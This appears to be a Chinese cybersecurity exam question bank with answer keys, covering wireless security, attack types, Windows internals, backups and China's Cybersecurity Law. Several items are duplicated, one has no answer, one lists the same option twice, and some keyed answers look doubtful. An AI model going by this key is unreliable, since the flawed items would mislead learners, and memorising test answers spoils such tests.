<p>D、 多样性</p>
<p>标准答案： D</p>
<p>18、试图阻止无线监听但又包含严重缺陷，现在不应再使用的标准是______。</p>
<p>A、 WEP</p>
<p>B、 WAP-2</p>
<p>C、 NICW</p>
<p>D、 INFOMATICS</p>
<p>标准答案： A</p>
<p>19、SSID（Service Set Identifier）______。</p>
<p>A、 是无线网络标识符</p>
<p>B、 不能改变</p>
<p>C、 从不因任何安全原因由无线路由器发送</p>
<p>D、 在有线网络上必须少于４个字符</p>
<p>标准答案： A</p>
<p>20、 保护无线网络的第一步是______。</p>
<p>A、 创建用户名和口令，禁止非法用户访问无线路由器</p>
<p>B、 禁用无线路由器网络共享</p>
<p>C、 使用IP地址过滤</p>
<p>D、 取消非军事区</p>
<p>标准答案： A</p>
<p>21、我们通常所说的10Mb/s和100Mb/s自适应是指</p>
<p>A、 既工作在10Mb/s，同时也工作在100Mb/s</p>
<p>B、 端口之间10Mb/s和100Mb/s传输率的自动匹配功能</p>
<p>C、 既可工作在10Mb/s，也可工作在100Mb/s</p>
<p>D、 其他三项都是</p>
<p>标准答案： B</p>
<p>22、下列设备中，可隔绝广播风暴的是（</p>
<p>A、 路由器</p>
<p>B、 MODEM</p>
<p>C、 集线器</p>
<p>D、 交换器</p>
<p>标准答案： A</p>
<p>23、无线局域网网络标准IEEE802.11的用户认证机制有______</p>
<p>A、 Open key</p>
<p>B、 Pre-Shared Key authentication</p>
<p>C、 Shared Key authentication</p>
<p>D、 MAC authentication</p>
<p>标准答案： C</p>
<p>24、下列方法中，识别Email来源真实性最可靠的是______。</p>
<p>A、 查看发件服务器地址</p>
<p>B、 查看发件人名称</p>
<p>C、 查看发件人地址</p>
<p>D、 查看回信地址</p>
<p>标准答案： A</p>
<p>25、在需要保护的信息资产中____是最重要的</p>
<p>A、 环境</p>
<p>B、 硬件</p>
<p>C、 数据</p>
<p>D、 软件</p>
<p>标准答案： C</p>
<p>26、来自于多个攻击源而不是单一攻击源的攻击，称作______攻击。</p>
<p>A、 分布式</p>
<p>B、 隔离</p>
<p>C、 脚本资源恶意软件</p>
<p>D、 表格资源</p>
<p>标准答案： A</p>
<p>27、DNS属于______协议</p>
<p>A、 应用层</p>
<p>B、 会话层</p>
<p>C、 表示层</p>
<p>D、 数据链路层</p>
<p>标准答案： A</p>
<p>28、浏览器能够打开百度的主页而不能打开必应主页，下列描述肯定错误的是______。</p>
<p>A、 由于ISP限制了IP访问策略</p>
<p>B、 系统遭受了DNS欺骗</p>
<p>C、 浏览器语言设置有误</p>
<p>D、 由于ISP限制了URL访问策略</p>
<p>标准答案： C</p>
<p>29、DNS属于（ ）协议</p>
<p>A、 应用层</p>
<p>B、 会话层</p>
<p>C、 表示层</p>
<p>D、 数据链路层</p>
<p>标准答案： A</p>
<p>30、 ORACLE数据库不需要使用（ ）结构来保护数据</p>
<p>A、 数据文件</p>
<p>B、 控制文件</p>
<p>C、 日志</p>
<p>D、 回滚段</p>
<p>标准答案： A</p>
<p>31、为了保证数据库的安全，可采取的措施有误的是（ ）</p>
<p>A、 自主访问控制</p>
<p>B、 资源控制</p>
<p>C、 安全审计</p>
<p>D、 数据加密</p>
<p>标准答案： B</p>
<p>32、输入正确的域名但却被转换为错误的IP地址，从而将用户指向其他目标网站，用以提高目标网站的访问量，这种攻击是（ ）</p>
<p>A、 ARP欺骗</p>
<p>B、 DNS欺骗</p>
<p>C、 会话劫持</p>
<p>D、 社交攻击</p>
<p>标准答案： B</p>
<p>33、在进行网络攻击时，隐藏攻击者较好的方法是______。</p>
<p>A、 采用匿名登录</p>
<p>B、 关闭对方的防火墙</p>
<p>C、 使用跳板攻击</p>
<p>D、 以管理员的身份登录</p>
<p>标准答案： C</p>
<p>34、DoS攻击不会破坏的是______。</p>
<p>A、 账户的授权</p>
<p>B、 合法用户的使用</p>
<p>C、 服务器的处理器资源</p>
<p>D、 网络设备的带宽资源</p>
<p>标准答案： A</p>
<p>35、在TCP/IP参考模型中，应用层是最高的一层，它包括了所有的高层协议。下列协议中不属于应用层协议的是_______</p>
<p>A、 HTTP</p>
<p>B、 FTP</p>
<p>C、 UDP</p>
<p>D、 SMTP</p>
<p>标准答案： C</p>
<p>36、TCP协议一般用于______网，向用户提供一种传输可靠的服务</p>
<p>A、 局域网</p>
<p>B、 以太网</p>
<p>C、 广域网</p>
<p>D、 城域网</p>
<p>标准答案： C</p>
<p>37、Tracert命令通过多次向目标发送（ ）来确定到达目标的路径，在连续发送的多个IP数据包中，TTL字段都是不同的。</p>
<p>A、 ICMP地址请求报文</p>
<p>B、 ARP请求报文</p>
<p>C、 ICMP回声请求报文</p>
<p>D、 ARP响应报文</p>
<p>标准答案： C</p>
<p>38、下列不涉及OSI网络安全体系范畴的是______。</p>
<p>A、 网闸在任意一个具体时刻都不存在内网与外网的物理链路</p>
<p>B、 防火墙中通常集成有对抗DDoS功能</p>
<p>C、 蠕虫的传播主要依赖于对系统漏洞的利用</p>
<p>D、 HTTPS使用了与HTTP不同的传输端口</p>
<p>标准答案： C</p>
<p>39、日前，戴尔的安全威胁应对小组(CTU)检测到一个巨大的针对美国、欧盟、俄罗斯和前苏联国家的军事人员、政府官员、记者和政治活动家的谷歌账户的网络钓鱼活动，该钓鱼活动由俄罗斯APT组织发起。网络钓鱼是属于______的攻击。</p>
<p>A、 网络层</p>
<p>B、 传输层</p>
<p>C、 数据链路层</p>
<p>D、 应用层</p>
<p>标准答案： D</p>
<p>40、帧中继（Frame Relay）交换是以帧为单位进行交换，它是在（ ）上进行的。</p>
<p>A、 物理层</p>
<p>B、 数据链路层</p>
<p>C、 网络层</p>
<p>D、 运输层</p>
<p>标准答案： B</p>
<p>41、 某业务数据库每周六凌晨进行全库备份，每个工作日凌晨采用增量备份方式，如果想得到周二凌晨的数据库数据，以下还原过程正确的是（ ）</p>
<p>A、 还原周六的全库备份</p>
<p>B、 还原周六的全库备份，还原周一的增量备份，还原周二的增量备份</p>
<p>C、 还原周六的全库备份，还原周二的增量备份</p>
<p>D、 附加周二的增量备份</p>
<p>标准答案： B</p>
<p>42、 RAID技术能够使得多硬盘读取速度加快及提供一定的容错性，以下读写性能最优且有数 据安全保障的RAID方式是（ ）</p>
<p>A、 RAID 0</p>
<p>B、 RAID 1</p>
<p>C、 RAID 5</p>
<p>D、 RAID 0+1</p>
<p>标准答案： D</p>
<p>43、保护信息不被偶然或蓄意地删除、修改、伪造、乱序、重放、插入等破坏的属性指的是______。</p>
<p>A、 保密性</p>
<p>B、 完整性</p>
<p>C、 可用性</p>
<p>D、 可靠性</p>
<p>标准答案： B</p>
<p>44、定期对系统和数据进行备份，在发生灾难时进行恢复。该机制是为了满足信息安全的________属性。</p>
<p>A、 保密性</p>
<p>B、 完整性</p>
<p>C、 不可否认性</p>
<p>D、 可靠性</p>
<p>标准答案： D</p>
<p>45、下列选项中______不是灾难恢复计划的特点。</p>
<p>A、 仅允许首席安全官访问</p>
<p>B、 书面的</p>
<p>C、 详细的</p>
<p>D、 定期更新的</p>
<p>标准答案： A</p>
<p>46、信息安全中的木桶原理，是指____</p>
<p>A、 整体安全水平由安全级别最低的部分所决定</p>
<p>B、 整体安全水平由安全级别最高的部分所决定</p>
<p>C、 整体安全水平由各组成部分的安全级别平均值所决定</p>
<p>D、 以上都不对</p>
<p>标准答案： A</p>
<p>47、下列关于预防网络攻击的说法正确的是（ ）</p>
<p>A、 网站服务器操作系统和 个人电脑 操作系统具有可以信赖的默认安全设置。</p>
<p>B、 入侵防御系统可以记录可疑的网络活动，但在没有用户干预的情况下无法对抗正在进行的攻击。</p>
<p>C、 物理安全威胁的防范包括控制对设备控制台端口的访问、标识关键电缆、安装 UPS 系统以及提供温湿控制。</p>
<p>D、 防止网络钓鱼攻击的最好方法是多采用防火墙设备。</p>
<p>标准答案： C</p>
<p>48、网络管理的功能有_______</p>
<p>A、 性能分析和故障检测</p>
<p>B、 安全性管理和计费管理</p>
<p>C、 网络规划和配置管理</p>
<p>D、 以上都是</p>
<p>标准答案： D</p>
<p>49、信息安全管理最关注的是_____</p>
<p>A、 外部恶意攻击</p>
<p>B、 病毒对PC的影响</p>
<p>C、 内部恶意攻击</p>
<p>D、 病毒对网络的影响</p>
<p>标准答案： C</p>
<p>50、在信息系统安全中，风险由______两种因素共同构成的。</p>
<p>A、 攻击和脆弱性</p>
<p>B、 威胁和攻击</p>
<p>C、 威胁和脆弱性</p>
<p>D、 威胁和破坏</p>
<p>标准答案： C</p>
<p>1、如果想要限制用户过多的占用磁盘空间，应当______</p>
<p>A、 设置磁盘配额</p>
<p>B、 设置数据压缩</p>
<p>C、 设置文件加密</p>
<p>D、 设置动态存储</p>
<p>标准答案： A</p>
<p>2、当用户登录自己电脑时显示错误信息“ 网络中存在重名”，登录后应该______</p>
<p>A、 打开控制面板中的“系统”工具，修改网络标识中的计算机名</p>
<p>B、 打开“本地连接”属性对话框，修改IP地址</p>
<p>C、 打开管理工具的“本地用户和组”，修改用户名</p>
<p>D、 需要重新安装操作系统</p>
<p>标准答案： A</p>
<p>3、Windows紧急修复盘不能修复下列哪个项目______</p>
<p>A、 硬件兼容问题</p>
<p>B、 分区引导扇区</p>
<p>C、 启动环境</p>
<p>D、 系统文件</p>
<p>标准答案： A</p>
<p>4、当安装完Windows操作系统后，在系统盘里会出现“pagefile.sys”隐藏文件，且文件占用空间较大，此文件的作用是______</p>
<p>A、 物理内存</p>
<p>B、 EPROM</p>
<p>C、 ROM</p>
<p>D、 虚拟内存</p>
<p>标准答案： D</p>
<p>5、个人电脑中使用netstat命令查看进程识别符（PID）配合资源管理器查看是否有病毒等恶意进程与外界非法通讯，netstat命令需要配合增加的参数是（</p>
<p>A、 netstat -a</p>
<p>B、 netstat -s</p>
<p>C、 netstat -o</p>
<p>D、 netstat –ano</p>
<p>标准答案： D</p>
<p>6、单位出于安全考虑对内部地址做动态网络地址转换（NAT）,不正确的说法是（ ）</p>
<p>A、 将很多内部地址映射到单个真实地址</p>
<p>B、 外部网络地址和内部地址一对一的映射</p>
<p>C、 最多可有64000个同时的动态NAT连接</p>
<p>D、 每个连接使用一个端口</p>
<p>标准答案： B</p>
<p>7、下列说法中不正确的是（ ）</p>
<p>A、 各信息系统运营使用单位和主管部门是信息系统定级的责任主体</p>
<p>B、 在安全评估过程中，采用渗透性测试手段，检测系统脆弱性</p>
<p>C、 信息系统的等级应由业务信息系统和服务系统的较高者决定</p>
<p>D、 信息保密性可分为秘密和机密两个等级</p>
<p>标准答案： D</p>
<p>8、定期对系统和数据进行备份，在发生灾难时进行恢复。该机制是为了满足信息安全的( )属性</p>
<p>A、 保密性</p>
<p>B、 完整性</p>
<p>C、 抗抵赖性</p>
<p>D、 可用性</p>
<p>标准答案： D</p>
<p>9、 对于信息安全管理负有责任的是（ ）</p>
<p>A、 高级管理层</p>
<p>B、 安全管理员</p>
<p>C、 IT管理员</p>
<p>D、 所有与信息系统有关人员</p>
<p>标准答案： D</p>
<p>10、重要安全区域部署安全审计跟踪的是（ ）</p>
<p>A、 安全审计系统检测并追踪安全事件的过程</p>
<p>B、 安全审计系统收集易于安全审计的数据</p>
<p>C、 人利用日志信息进行安全事件分析和追溯的过程</p>
<p>D、 对计算机系统中的某种行为的详尽跟踪和观察</p>
<p>标准答案： A</p>
<p>11、是企业信息安全的核心（ ）</p>
<p>A、 安全教育</p>
<p>B、 安全运维措施</p>
<p>C、 安全管理</p>
<p>D、 安全软硬件设施</p>
<p>标准答案： C</p>
<p>12、计算机机房应当符合（ ）和国家有关规定</p>
<p>A、 防火、防盗、防潮、防尘要求</p>
<p>B、 楼层、位置要求</p>
<p>C、 相关行业标准</p>
<p>D、 国家标准</p>
<p>标准答案： D</p>
<p>13、 网络安全在多网合一时代的脆弱性主要体现在（ ）</p>
<p>A、 软件的脆弱性</p>
<p>B、 网络的脆弱性</p>
<p>C、 管理的脆弱性</p>
<p>D、 应用的脆弱性</p>
<p>标准答案： C</p>
<p>14、以下哪种不是主机连接存储的常见方式______</p>
<p>A、 DAS</p>
<p>B、 NAS</p>
<p>C、 SAN</p>
<p>D、 IAS</p>
<p>标准答案： D</p>
<p>15、网络扫描器不可能发现的是______。</p>
<p>A、 用户的弱口令</p>
<p>B、 系统的服务类型</p>
<p>C、 系统的版本</p>
<p>D、 用户的键盘动作</p>
<p>标准答案： D</p>
<p>16、HOOK是安全防护软件及恶意软件经常用到劫持技术，将目标函数代码的前面几个字节替换为指向目标代码的跳转指令的技术为（）。</p>
<p>A、 EAT HOOK</p>
<p>B、 IAT HOOK</p>
<p>C、 Inline HOOK</p>
<p>D、 IDT HOOK</p>
<p>标准答案： C</p>
<p>17、（）破解了英格玛机？</p>
<p>A、 牛顿</p>
<p>B、 图灵</p>
<p>C、 比尔盖茨</p>
<p>D、 赫敏</p>
<p>标准答案： B</p>
<p>18、“进不来” “拿不走” “看不懂” “改不了” “走不脱”是网络信息安全建设的目的。其中，“看不懂”是指下面那种安全服务：</p>
<p>A、 数据加密</p>
<p>B、 身份认证</p>
<p>C、 数据完整性</p>
<p>D、 访问控制</p>
<p>标准答案： A</p>
<p>19、______用于描述损害用户个人信息安全的软件。</p>
<p>A、 间谍软件Spyware</p>
<p>B、 恶意软件Malware</p>
<p>C、 广告软件Ad ware</p>
<p>D、 网络操作系统Netware</p>
<p>标准答案： B</p>
<p>20、______是攻击者安装在计算机上的程序，它篡改Web浏览器的主页和搜索引擎将其指向其它站点。</p>
<p>A、 IE重定位器</p>
<p>B、 互联网服务器重定位器</p>
<p>C、 IMAPI</p>
<p>D、 浏览器劫持软件</p>
<p>标准答案： D</p>
<p>21、以下哪个恶意软件具备穿透还原卡和还原软件的能力？</p>
<p>A、 求职信</p>
<p>B、 求职信</p>
<p>C、 超级工厂</p>
<p>D、 CIH</p>
<p>标准答案： B</p>
<p>22、相比之下，______最不可能隐藏恶意代码。</p>
<p>A、 图片文件</p>
<p>B、 证书文件</p>
<p>C、 MBR</p>
<p>D、 PE文件</p>
<p>标准答案： B</p>
<p>23、攻击者为了使恶意软件具有较长的生命周期，通常需要对其进行免杀处理。这种免杀处理主要是对抗（）。</p>
<p>A、 特征码检测</p>
<p>B、 虚拟机</p>
<p>C、 启发式扫描</p>
<p>D、 主动防御</p>
<p>标准答案： A</p>
<p>24、下列对XSS攻击（跨站脚本攻击）描述正确的是______</p>
<p>A、 XSS攻击指的是恶意攻击者往Web页面里插入恶意html代码，当用户浏览该页之时，嵌入其中的html代码会被执行，从而达到恶意攻击用户的特殊目的</p>
<p>B、 XSS攻击是DDOS攻击的一种变种</p>
<p>C、 XSS攻击就是CC攻击</p>
<p>D、 XSS攻击就是利用被控制的机器不断地向被攻击网站发送访问请求，迫使IIS 连接数超出限制，当CPU 资源或者带宽资源耗尽，那么网站也就被攻击垮了，从而达到攻击目的</p>
<p>标准答案： A</p>
<p>25、业务系统在开发过程中植入参数过滤策略可以预防______攻击</p>
<p>A、 SQL注入、跨站脚本、DNS毒药</p>
<p>B、 SQL注入、跨站脚本、缓冲区溢出</p>
<p>C、 SQL注入、跨站请求伪造、网络窃听</p>
<p>D、 跨站请求伪造、跨站脚本、DNS毒药</p>
<p>标准答案： B</p>
<p>26、APT对抗中，整个环节最关键也是最薄弱的一环是：</p>
<p>A、 技术</p>
<p>B、 人</p>
<p>C、 策略</p>
<p>D、 管理制度</p>
<p>标准答案： B</p>
<p>27、业务系统在开发过程中植入参数过滤策略可以预防（ ）攻击</p>
<p>A、 SQL注入、跨站脚本、DNS毒药</p>
<p>B、 SQL注入、跨站脚本、缓冲区溢出</p>
<p>C、 SQL注入、跨站请求伪造、网络窃听</p>
<p>D、 跨站请求伪造、跨站脚本、DNS毒药</p>
<p>标准答案： B</p>
<p>28、缓冲区溢出攻击针对的目标对象是（ ）</p>
<p>A、 只是应用层漏洞</p>
<p>B、 只是系统层漏洞</p>
<p>C、 既是系统层漏洞也是应用层漏洞</p>
<p>D、 硬件层漏洞</p>
<p>标准答案： C</p>
<p>29、还未公开的漏洞，称作______漏洞。</p>
<p>A、 未识别攻击向量</p>
<p>B、 资源</p>
<p>C、 不确定</p>
<p>D、 零日</p>
<p>标准答案： D</p>
<p>30、______是指有能力带来威胁的人或事物</p>
<p>A、 漏洞</p>
<p>B、 威胁代理</p>
<p>C、 漏洞利用</p>
<p>D、 风险因子</p>
<p>标准答案： B</p>
<p>31、有人通过朋友圈分享要求他人转发不良信息，否则进行恶毒诅咒。对此应______。</p>
<p>A、 转发信息，不过是手指动一下，转不转全看心情。</p>
<p>B、 此类信息一般没有积极意义，常常涉嫌人身攻击等，不应转发。</p>
<p>C、 涉及个人和家人安危，宁信其有不信其无，不愿意也要转。</p>
<p>D、 直接转发，不多考虑。</p>
<p>标准答案： B</p>
<p>32、正向型和反弹型木马的区别是______。</p>
<p>A、 正向型木马的控制端可以在Internet上使用，而反弹性木马的控制端只能在内网中使用</p>
<p>B、 反弹性木马的控制端可以在Internet上使用，而正向型木马的控制端只能在内网中使用</p>
<p>C、 反弹性木马的受控端可以在内网中使用，而正向型木马的受控端只能在Internet上使用</p>
<p>D、 正向型木马的受控端可以在内网中使用，而反弹性木马的受控端只能在Internet上使用</p>
<p>标准答案： C</p>
<p>33、快照技术是一种在线方式的数据保护策略，说法错误的是______</p>
<p>A、 基于文件系统</p>
<p>B、 基于卷管理器</p>
<p>C、 基于虚拟化</p>
<p>D、 基于目录</p>
<p>标准答案： D</p>
<p>34、该用户希望U盘中的所有可执行程序均无法运行。那么，其最合适的安全规则是（）。</p>
<p>A、 路径规则</p>
<p>B、 Internet区域规则</p>
<p>C、 证书规则</p>
<p>D、 散列规则</p>
<p>标准答案： A</p>
<p>35、RAID技术能够使得多硬盘读取速度加快及提供一定的容错性，以下读写性能最优且有数 据安全保障的RAID方式是_____</p>
<p>A、 RAID 0</p>
<p>B、 RAID 1</p>
<p>C、 RAID 5</p>
<p>D、 RAID 0+1</p>
<p>标准答案： D</p>
<p>36、定期对系统和数据进行备份，在发生灾难时进行恢复。该机制是为了满足信息安全的________属性。</p>
<p>A、 保密性</p>
<p>B、 完整性</p>
<p>C、 不可否认性</p>
<p>D、 可用性</p>
<p>标准答案： D</p>
<p>37、保护信息不被偶然或蓄意地删除、修改、伪造、乱序、重放、插入等破坏的属性指的是______。</p>
<p>A、 保密性</p>
<p>B、 完整性</p>
<p>C、 可用性</p>
<p>D、 可靠性</p>
<p>标准答案： B</p>
<p>38、访问网址<a rel="nofollow" href="http://www.1cbc.com.cn/">www.1cbc.com.cn</a>，将可能遭受______攻击？</p>
<p>A、 缓冲区溢出攻击</p>
<p>B、 钓鱼攻击</p>
<p>C、 SQL注入攻击</p>
<p>D、 拒绝服务攻击</p>
<p>标准答案： B</p>
<p>39、无线拒绝服务攻击______。</p>
<p>A、 与有线拒绝服务攻击功能相同</p>
<p>B、 由于其低效性较少被攻击者使用</p>
<p>C、 用于拒绝无线设备访问无线路由器</p>
<p>D、 使用“切断关联”帧来连接到有线网络</p>
<p>标准答案： C</p>
<p>40、当成百上千计算机被远程控制时就形成了______。</p>
<p>A、 僵尸网络</p>
<p>B、 爬虫网络</p>
<p>C、 木马网络</p>
<p>D、 暗网</p>
<p>标准答案： A</p>
<p>41、以通过发现漏洞来提升安全性为目标的黑客，被称作______。</p>
<p>A、 黑帽子黑客</p>
<p>B、 白帽子黑客</p>
<p>C、 牛仔攻击者</p>
<p>D、 资源攻击者</p>
<p>标准答案： B</p>
<p>42、下列哪一项信息不包含在X.509规定的数字证书中？</p>
<p>A、 证书有效期;</p>
<p>B、 证书持有者的公钥;</p>
<p>C、 证书颁发机构的签名;</p>
<p>D、 证书颁发机构的私钥</p>
<p>标准答案： D</p>
<p>43、服务器数字证书能验证组织的存在性和身份，并支持对通信内容的加密。访问带有服务器数字证书的网站时，浏览器会显示______。</p>
<p>A、 绿色复选标记</p>
<p>B、 锁</p>
<p>C、 蓝色地球</p>
<p>D、 计算机</p>
<p>标准答案： B</p>
<p>44、信息安全中的木桶原理，是指____。</p>
<p>A、 整体安全水平由安全级别最低的部分所决定</p>
<p>B、 整体安全水平由安全级别最高的部分所决定</p>
<p>C、 整体安全水平由各组成部分的安全级别平均值所决定</p>
<p>D、 以上都不对</p>
<p>标准答案： A</p>
<p>45、在Windows系统中______是最小运行单位</p>
<p>A、 进程</p>
<p>B、 线程</p>
<p>C、 服务</p>
<p>D、 程序</p>
<p>标准答案： B</p>
<p>46、Windows平台的可执行文件格式是（）。</p>
<p>A、 TXT</p>
<p>B、 PE</p>
<p>C、 ELF</p>
<p>D、 PPT</p>
<p>标准答案： B</p>
<p>47、Windows操作系统便于对动态内存进行管理，设计了堆的空表，空表采用的结构为_______。</p>
<p>A、 B+树</p>
<p>B、 队列</p>
<p>C、 单向链表</p>
<p>D、 双向链表</p>
<p>标准答案： D</p>
<p>48、在缓冲区溢出漏洞攻击中，为了获得目标系统控制权，通常需要一个程序来构造溢出，修改返回地址进而去执行一段攻击者给出的代码，该代码通常被称为________。</p>
<p>A、 ShellCode</p>
<p>B、 Exploit</p>
<p>C、 Metasploit</p>
<p>D、 HackTool</p>
<p>标准答案： A</p>
<p>49、Windows系统会默认创建还原点，该功能主要是为了（ ），以防出现意外情况导致数据丢失。</p>
<p>A、 杀毒</p>
<p>B、 加密</p>
<p>C、 备份</p>
<p>D、 格式化</p>
<p>标准答案： C</p>
<p>50、使用nslookup命令查询网址的MX记录，preference数字越小代表优先级低，越大优先级越高。（）</p>
<p>A、 对</p>
<p>B、 错</p>
<p>标准答案： B</p>
<p>1、当成百上千计算机被远程控制时就形成了______。</p>
<p>A、 僵尸网络</p>
<p>B、 爬虫网络</p>
<p>C、 木马网络</p>
<p>D、 暗网</p>
<p>标准答案： A</p>
<p>2、以通过发现漏洞来提升安全性为目标的黑客，被称作______。</p>
<p>A、 黑帽子黑客</p>
<p>B、 白帽子黑客</p>
<p>C、 牛仔攻击者</p>
<p>D、 资源攻击者</p>
<p>标准答案： B</p>
<p>3、下列哪一项信息不包含在X.509规定的数字证书中？</p>
<p>A、 证书有效期;</p>
<p>B、 证书持有者的公钥;</p>
<p>C、 证书颁发机构的签名;</p>
<p>D、 证书颁发机构的私钥</p>
<p>标准答案： D</p>
<p>4、服务器数字证书能验证组织的存在性和身份，并支持对通信内容的加密。访问带有服务器数字证书的网站时，浏览器会显示______。</p>
<p>A、 绿色复选标记</p>
<p>B、 锁</p>
<p>C、 蓝色地球</p>
<p>D、 计算机</p>
<p>标准答案： B</p>
<p>5、信息安全中的木桶原理，是指____。</p>
<p>A、 整体安全水平由安全级别最低的部分所决定</p>
<p>B、 整体安全水平由安全级别最高的部分所决定</p>
<p>C、 整体安全水平由各组成部分的安全级别平均值所决定</p>
<p>D、 以上都不对</p>
<p>标准答案： A</p>
<p>6、在Windows系统中______是最小运行单位</p>
<p>A、 进程</p>
<p>B、 线程</p>
<p>C、 服务</p>
<p>D、 程序</p>
<p>标准答案： B</p>
<p>7、Windows平台的可执行文件格式是（）。</p>
<p>A、 TXT</p>
<p>B、 PE</p>
<p>C、 ELF</p>
<p>D、 PPT</p>
<p>标准答案： B</p>
<p>8、Windows操作系统便于对动态内存进行管理，设计了堆的空表，空表采用的结构为_______。</p>
<p>A、 B+树</p>
<p>B、 队列</p>
<p>C、 单向链表</p>
<p>D、 双向链表</p>
<p>标准答案： D</p>
<p>9、在缓冲区溢出漏洞攻击中，为了获得目标系统控制权，通常需要一个程序来构造溢出，修改返回地址进而去执行一段攻击者给出的代码，该代码通常被称为________。</p>
<p>A、 ShellCode</p>
<p>B、 Exploit</p>
<p>C、 Metasploit</p>
<p>D、 HackTool</p>
<p>标准答案： A</p>
<p>10、Windows系统会默认创建还原点，该功能主要是为了（ ），以防出现意外情况导致数据丢失。</p>
<p>A、 杀毒</p>
<p>B、 加密</p>
<p>C、 备份</p>
<p>D、 格式化</p>
<p>标准答案： C</p>
<p>11、使用nslookup命令查询网址的MX记录，preference数字越小代表优先级低，越大优先级越高。（）</p>
<p>A、 对</p>
<p>B、 错</p>
<p>标准答案： B</p>
<p>12、《中华人民共和国网络安全法》从哪天正式施行？（）</p>
<p>A、 2017年6月1日</p>
<p>B、 2017年6月2日</p>
<p>C、 2017年6月3日</p>
<p>D、 2017年6月4日</p>
<p>标准答案： A</p>
<p>13、以下哪个不是新时代我们面临的网络危险？（）</p>
<p>A、 木马</p>
<p>B、 大数据</p>
<p>C、 病毒</p>
<p>D、 僵尸网络</p>
<p>标准答案： B</p>
<p>14、第一次网络战争是那个国家遭到攻击？（）</p>
<p>A、 乌克兰</p>
<p>B、 爱沙尼亚</p>
<p>C、 罗马尼亚</p>
<p>D、 土耳其</p>
<p>标准答案： B</p>
<p>15、“互联网”+行动计划是否起到了对传统产业升级的推动作用？</p>
<p>A、 是</p>
<p>否</p>
<p>标准答案： A</p>
<p>16、有关网安治理的顶层设计不包括那项？（）</p>
<p>A、 网络安全法</p>
<p>B、 电子商务法</p>
<p>C、 电信法</p>
<p>D、 个人财产保护法</p>
<p>标准答案： D</p>
<p>17、《中华人民共和国网络安全法》发布时间是？（）</p>
<p>A、 2017年6月1日</p>
<p>B、 2016年6月1日</p>
<p>C、 2016年11月7日</p>
<p>D、 2017年5月1日</p>
<p>标准答案： C</p>
<p>18、网络安全法是基于信息化的时代要求。</p>
<p>A、 是</p>
<p>否</p>
<p>标准答案： A</p>
<p>19、网络安全法是由几个原因促成的？（）</p>
<p>A、 1</p>
<p>B、 2</p>
<p>C、 3</p>
<p>D、 4</p>
<p>标准答案： C</p>
<p>20、网络安全法共有多少条目？（）</p>
<p>A、 49</p>
<p>B、 59</p>
<p>C、 69</p>
<p>D、 79</p>
<p>标准答案： D</p>
<p>21、从网络安全法本身看，什么是网络安全？（）</p>
<p>A、 一种能力</p>
<p>B、 一种服务</p>
<p>C、 一种态度</p>
<p>D、 一种精神</p>
<p>标准答案： A</p>
<p>22、以下哪个不是数据的三性原则？（）</p>
<p>A、 完整性</p>
<p>B、 再生性</p>
<p>C、 保密性</p>
<p>D、 可用性</p>
<p>标准答案： B</p>
<p>23、在网络安全法立法中，网络运营者不包括以下哪个？（）</p>
<p>A、 网络所有者</p>
<p>B、 网络管理者</p>
<p>C、 网络使用者</p>
<p>D、 网络服务提供者</p>
<p>标准答案： C</p>
<p>24、关于个人信息，网络安全法采用的身份识别说，这个方法借鉴的那个国家组织立法？（）</p>
<p>A、 欧盟</p>
<p>B、 美国</p>
<p>C、 俄罗斯</p>
<p>D、 联合国</p>
<p>标准答案： A</p>
<p>25、以下那条规定国家在网络安全领域作用与职能？（）</p>
<p>A、 十八条</p>
<p>B、 十九条</p>
<p>C、 二十条</p>
<p>D、 二十一条</p>
<p>标准答案： A</p>
<p>26、网络运行安全主要涉及几个层次？（）</p>
<p>A、 1</p>
<p>B、 2</p>
<p>C、 3</p>
<p>D、 4</p>
<p>标准答案：</p>
<p>27、网络运行安全的一般性要求由多少条法规规定？（）</p>
<p>A、 5</p>
<p>B、 10</p>
<p>C、 15</p>
<p>D、 20</p>
<p>标准答案： C</p>
<p>28、我们在网络运行安全领域所采取的基本制度是网络安全等级保护制度。</p>
<p>A、 是</p>
<p>否</p>
<p>标准答案： A</p>
<p>29、网络安全保护义务具体有几项？（）</p>
<p>A、 5</p>
<p>B、 4</p>
<p>C、 3</p>
<p>D、 2</p>
<p>标准答案： A</p>
<p>30、网络产品服务具有收集用户信息功能的，其提供者不需要向用户明示。</p>
<p>A、 对</p>
<p>B、 错</p>
<p>标准答案： B</p>
<p>31、国家网信部对关键基础设施一系列规定包含几项？（）</p>
<p>A、 4</p>
<p>B、 3</p>
<p>C、 2</p>
<p>D、 1</p>
<p>标准答案： A</p>
<p>32、网安法第三十三条反应的是那个层面的安全？（）</p>
<p>A、 技术要素</p>
<p>B、 组织管理</p>
<p>C、 在线内容</p>
<p>D、 运行维护</p>
<p>标准答案： A</p>
<p>33、关键基础设施的运营者还应该履行几项重要的安全保护义务？（）</p>
<p>A、 3</p>
<p>B、 4</p>
<p>C、 5</p>
<p>D、 6</p>
<p>标准答案： C</p>
<p>34、网安法第多少条规定了具有网络安全监督管理职责的部门对信息进行保密？（）</p>
<p>A、 43</p>
<p>B、 44</p>
<p>C、 45</p>
<p>D、 46</p>
<p>标准答案： C</p>
<p>35、任何个人组织发送的电子信息可以包含任意信息。</p>
<p>A、 对</p>
<p>B、 错</p>
<p>标准答案： B</p>
<p>36、以下那十条详细规定了网络运营者在网络保护中应当承担的义务和责任？（）</p>
<p>A、 第40-50条</p>
<p>B、 第45-55条</p>
<p>C、 第50-60条</p>
<p>D、 第55-65条</p>
<p>标准答案： A</p>
<p>37、以下哪项不是网络运营收集个人信息的原因？（）</p>
<p>A、 合法</p>
<p>B、 正当</p>
<p>C、 必要</p>
<p>D、 盈利</p>
<p>标准答案： D</p>
<p>38、网络安全事件发生风险增大时，（）级以上政府需要采取措施？</p>
<p>A、 县级</p>
<p>B、 市级</p>
<p>C、 省级</p>
<p>D、 中央级</p>
<p>标准答案： C</p>
<p>39、网络安全法中没有规定对应违法事件的刑事责任。</p>
<p>A、 对</p>
<p>B、 错</p>
<p>标准答案： B</p>
<p>40、网络安全法中设立的最高返款金额为（）万元。</p>
<p>A、 一</p>
<p>B、 十</p>
<p>C、 百</p>
<p>D、 千</p>
<p>标准答案： C</p>
<p>41、网络安全法中规定：人员违法相关单位也可能会追究刑事责任。</p>
<p>A、 是</p>
<p>否</p>
<p>标准答案： A</p>
<p>42、不是所有的网络犯罪都会追究单位责任。</p>
<p>A、 对</p>
<p>B、 错</p>
<p>标准答案： B</p>
<p>43、非法利用信息网络罪中同时违法该条两款行为时，会受到怎样的惩罚？（）</p>
<p>A、 两项从重处罚</p>
<p>B、 两项数罪并罚</p>
<p>C、 两项从轻处罚</p>
